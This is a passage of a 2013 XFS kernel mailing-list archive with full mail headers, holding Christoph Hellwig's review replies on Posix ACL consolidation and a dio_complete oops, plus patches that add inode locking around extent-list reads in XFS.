X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142894 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 05:20:34PM +0400, Stanislav Kholmanskikh wrote: > Just to make the behaviour more consistent between NFS and other > "local" file systems as It was done by > commit https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=0953e620de0538cbd081f1b45126f6098112a598 Seems like we got others in line with XFS behavior. I'd prefer to have NFS follow this as well. From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 13:36:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 506657F3F for ; Fri, 6 Dec 2013 13:36:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2CA9C304048 for ; Fri, 6 Dec 2013 11:35:57 -0800 (PST) X-ASG-Debug-ID: 1386358554-04bdf0132391d90001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id wAiqYeBGpNuDTdrB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 11:35:55 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp1Bp-00078A-R1; Fri, 06 Dec 2013 19:35:53 +0000 Date: Fri, 6 Dec 2013 11:35:53 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [OOPS, 3.13-rc2] null ptr in dio_complete() Message-ID: <20131206193553.GA23395@infradead.org> X-ASG-Orig-Subj: Re: [OOPS, 3.13-rc2] null ptr in dio_complete() References: <20131203215940.GX10988@dastard> <20131204015837.GJ10988@dastard> <20131205222220.5d7f4a48@tom-ThinkPad-T410> <20131205212651.GP10988@dastard> <20131205231612.GQ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205231612.GQ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386358555 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142896 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Fri, Dec 06, 2013 at 10:16:12AM +1100, Dave Chinner wrote: > Ok, this looks like it is working correctly. The read/write io stats > are now working properly, too. Thanks for finding the problem > quickly! Btw, I've hit it a few times as well now after the XFS tree got rebased. Maybe we should move the tree forward to -rc3 ASAP? From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 13:46:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 822487F50 for ; Fri, 6 Dec 2013 13:46:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BAF28F8064 for ; Fri, 6 Dec 2013 11:46:54 -0800 (PST) X-ASG-Debug-ID: 1386359213-04cbb04166595b40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id kpg0z5AB01C0eMVm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 11:46:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp1MD-0000yL-3i; Fri, 06 Dec 2013 19:46:37 +0000 Date: Fri, 6 Dec 2013 11:46:37 -0800 From: Christoph Hellwig To: Andreas Gruenbacher Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 00/18] Consolidate Posix ACL implementation Message-ID: <20131206194637.GA32122@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 00/18] Consolidate Posix ACL implementation References: <20131201115903.910559036@bombadil.infradead.org> <279325185.39210.1386266234086.JavaMail.zimbra@linbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <279325185.39210.1386266234086.JavaMail.zimbra@linbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386359213 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142896 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 05, 2013 at 06:57:14PM +0100, Andreas Gruenbacher wrote: > I see that get_acl and set_acl are being defined in some but not all symlink inode operations (for example, btrfs them while ext4 does not), and that posix_acl_xattr_set() doesn't check if set_acl is defined. Symlinks cannot have ACLs, so set_acl should either never be defined for symlinks (and a NULL check is then needed in posix_acl_xattr_set()), or it is defined in all inode operations, and S_ISNLNK() check is needed in posix_acl_xattr_set(). That latter check should probably be added in any case to be on the safe side. Yes, we should add the check. We also in general should not have set_acl/get_acl on links and I'll look over it. > Patch 6 also declares posix_acl_prepare() but this function is never introduced; this must be a leftover from a previous version. Indeed. Thanks for the review! From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 13:47:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 45BCD29E1B for ; Fri, 6 Dec 2013 13:47:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1FA08304048 for ; Fri, 6 Dec 2013 11:47:23 -0800 (PST) X-ASG-Debug-ID: 1386359242-04bdf0132192980001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id AtXYnlA5SOquyheA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 11:47:22 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp1Mu-000104-LS; Fri, 06 Dec 2013 19:47:20 +0000 Date: Fri, 6 Dec 2013 11:47:20 -0800 From: Christoph Hellwig To: Steven Whitehouse Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, xfs@oss.sgi.com, reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure Message-ID: <20131206194720.GB32122@infradead.org> X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120656.539995924@bombadil.infradead.org> <1386159157.2711.11.camel@menhir> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386159157.2711.11.camel@menhir> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386359242 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142896 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Wed, Dec 04, 2013 at 12:12:37PM +0000, Steven Whitehouse wrote: > > error = posix_acl_equiv_mode(acl, &mode); > > + if (error < 0) > > > Andy Price has pointed out a missing "return error;" here > > > - if (error <= 0) { > > - posix_acl_release(acl); > > + if (error == 0) > > acl = NULL; > > > > - if (error < 0) > > - return error; > > - } > > - > > Also, there seems to be a white space error in the xfs patch around line > 170 in fs/xfs/xfs_iops.c where there is an added "if (default_acl)" with > a space before the tab, I'll take care of these for the next version. From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B7F2D29E09 for ; Fri, 6 Dec 2013 14:31:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9E4F08F8065 for ; Fri, 6 Dec 2013 12:31:29 -0800 (PST) X-ASG-Debug-ID: 1386361888-04cb6c537c58c4d0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id pVH8ujdjTqSosZ9y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004tE-4x for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203006.914776999@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:06 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 00/11] extent list locking fixes V3 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 00/11] extent list locking fixes V3 X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386361888 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Changes from V2: - take care to lock for data vs attr fork differently Changes from V1: - fixed the review feedback - includes Bens original patch for completeness From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2FEF729E19 for ; Fri, 6 Dec 2013 14:31:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 186438F8068 for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04cbb041665988a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id uuBFAxdaF17yuHBp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004wn-0k for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203128.914019342@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:12 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 06/11] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 06/11] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Content-Disposition: inline; filename=xfs_zero_remaining_bytes-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:37:36.715162723 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 19:38:45.643161309 +0100 @@ -1175,9 +1175,15 @@ xfs_zero_remaining_bytes( xfs_buf_unlock(bp); for (offset = startoff; offset <= endoff; offset = lastoffset + 1) { + uint lock_mode; + offset_fsb = XFS_B_TO_FSBT(mp, offset); nimap = 1; + + lock_mode = xfs_ilock_data_map_shared(ip); error = xfs_bmapi_read(ip, offset_fsb, 1, &imap, &nimap, 0); + xfs_iunlock(ip, lock_mode); + if (error || nimap < 1) break; ASSERT(imap.br_blockcount >= 1); From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 90BB529E1A for ; Fri, 6 Dec 2013 14:31:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 76FCC8F8065 for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04cbb041695988b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id A6t2uj9fyKjDfIlE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004yV-DY for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203129.330138179@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:15 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 09/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_get References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 09/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_get Content-Disposition: inline; filename=xfs-attr-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_attr.c =================================================================== --- xfs.orig/fs/xfs/xfs_attr.c 2013-12-06 17:20:27.447331601 +0100 +++ xfs/fs/xfs/xfs_attr.c 2013-12-06 19:41:05.119158446 +0100 @@ -164,6 +164,7 @@ xfs_attr_get( { int error; struct xfs_name xname; + uint lock_mode; XFS_STATS_INC(xs_attr_get); @@ -174,9 +175,9 @@ xfs_attr_get( if (error) return error; - xfs_ilock(ip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_attr_map_shared(ip); error = xfs_attr_get_int(ip, &xname, value, valuelenp, flags); - xfs_iunlock(ip, XFS_ILOCK_SHARED); + xfs_iunlock(ip, lock_mode); return(error); } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B8D229E09 for ; Fri, 6 Dec 2013 14:31:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 035CB8F8065 for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04bdf0132395a40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id mAA2VLxg8payNFEY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004wF-Rx; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203128.786826439@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:11 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Ben Myers Subject: [PATCH 05/11] xfs: reinstate the ilock in xfs_readdir References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 05/11] xfs: reinstate the ilock in xfs_readdir Content-Disposition: inline; filename=iolock.diff X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 From: Ben Myers Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in xfs_readdir because we might have to read the extent list in from disk. This keeps other threads from reading from or writing to the extent list while it is being read in and is still in a transitional state. This has been associated with "Access to block zero" messages on directories with large numbers of extents resulting from excessive filesytem fragmentation, as well as extent list corruption. Unfortunately no test case at this point. Signed-off-by: Ben Myers --- fs/xfs/xfs_dir2_readdir.c | 4 ++++ 1 file changed, 4 insertions(+) Index: xfs/fs/xfs/xfs_dir2_readdir.c =================================================================== --- xfs.orig/fs/xfs/xfs_dir2_readdir.c 2013-12-06 17:20:27.695331596 +0100 +++ xfs/fs/xfs/xfs_dir2_readdir.c 2013-12-06 19:38:08.375162074 +0100 @@ -674,6 +674,7 @@ xfs_readdir( { int rval; /* return value */ int v; /* type-checking value */ + uint lock_mode; trace_xfs_readdir(dp); @@ -683,6 +684,7 @@ xfs_readdir( ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_getdents); + lock_mode = xfs_ilock_data_map_shared(dp); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_getdents(dp, ctx); else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) @@ -691,5 +693,7 @@ xfs_readdir( rval = xfs_dir2_block_getdents(dp, ctx); else rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); + xfs_iunlock(dp, lock_mode); + return rval; } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A1B9D29E1B for ; Fri, 6 Dec 2013 14:31:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 30530AC004 for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361888-04cb6c537b58c4d0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Mww1WP4djIivHbH5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004v6-JF for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203128.511935311@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:09 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 03/11] xfs: rename xfs_ilock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 03/11] xfs: rename xfs_ilock_map_shared Content-Disposition: inline; filename=xfs-rename-xfs_ilock_map_shared X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Make it clear that we're only locking against the extent map on the data fork. Also clean the function up a little bit. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_aops.c =================================================================== --- xfs.orig/fs/xfs/xfs_aops.c 2013-12-06 19:57:22.371138392 +0100 +++ xfs/fs/xfs/xfs_aops.c 2013-12-06 19:58:15.755137296 +0100 @@ -1217,7 +1217,7 @@ __xfs_get_blocks( lockmode = XFS_ILOCK_EXCL; xfs_ilock(ip, lockmode); } else { - lockmode = xfs_ilock_map_shared(ip); + lockmode = xfs_ilock_data_map_shared(ip); } ASSERT(offset <= mp->m_super->s_maxbytes); Index: xfs/fs/xfs/xfs_file.c =================================================================== --- xfs.orig/fs/xfs/xfs_file.c 2013-12-06 19:57:22.371138392 +0100 +++ xfs/fs/xfs/xfs_file.c 2013-12-06 19:58:15.759137296 +0100 @@ -912,7 +912,7 @@ xfs_dir_open( * If there are any blocks, read-ahead block 0 as we're almost * certain to have the next operation be a read there. */ - mode = xfs_ilock_map_shared(ip); + mode = 